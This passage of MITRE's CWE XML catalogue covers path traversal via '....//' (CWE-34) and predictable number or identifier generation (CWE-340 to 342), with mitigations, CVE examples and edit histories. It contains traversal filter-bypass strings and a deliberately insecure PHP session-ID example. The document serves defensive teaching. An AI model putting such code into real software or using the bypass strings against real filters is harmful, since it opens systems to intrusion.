            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="34" Name="Path Traversal: '....//'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>The '....//' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then "....//" can collapse into the "../" unsafe value (CWE-182). It could also be useful when ".." is removed, if the operating system treats "//" and "/" as equivalent.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-1670</Reference>
               <Description>Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "....//" in user supplied parameters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1670</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'....//' (doubled dot dot slash)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This could occur due to a cleansing error that removes a single "../" from "....//"</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Doubled Dot Dot Slash - '....//'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="340" Name="Generation of Predictable Numbers or Identifiers" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product uses a scheme that generates numbers or identifiers that are more predictable than required.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Predictability problems</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>11</Entry_ID>
               <Entry_Name>Brute Force</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Predictability Problems</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="341" Name="Predictable from Observable State" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="340" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Note>This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Increase the entropy used to seed a PRNG.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-2">
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-50">
               <Phase>Implementation</Phase>
               <Description>Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-45">
               <Intro_Text>This code generates a unique random identifier for a user's session.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function generateSessionID($userID){<xhtml:div style="margin-left:1em;">srand($userID);<xhtml:br/>return rand();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.</Body_Text>
               <Body_Text>This example also exhibits a Small Seed Space (CWE-339).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0389</Reference>
               <Description>Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0389</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1141</Reference>
               <Description>PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1141</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0335</Reference>
               <Description>DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0335</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1636</Reference>
               <Description>MFV. predictable filename and insecure permissions allows file modification to execute SQL queries.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1636</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Predictable from Observable State</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-267"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="342" Name="Predictable Exact Value from Previous Values" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>An exact value or random number can be precisely predicted by observing previous values.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="340" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Increase the entropy used to seed a PRNG.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-2">
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-50">
               <Phase>Implementation</Phase>
               <Description>Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1463</Reference>
               <Description>Firewall generates easily predictable initial sequence numbers (ISN), which allows remote attackers to spoof connections.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1463</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0074</Reference>
               <Description>Listening TCP ports are sequentially allocated, allowing spoofing attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0074</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0077</Reference>
               <Description>Predictable TCP sequence numbers allow spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0077</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0335</Reference>
               <Description>DNS resolver uses predictable IDs, allowing a local user to spoof DNS query results.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0335</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Predictable Exact Value from Previous Values</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-267"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
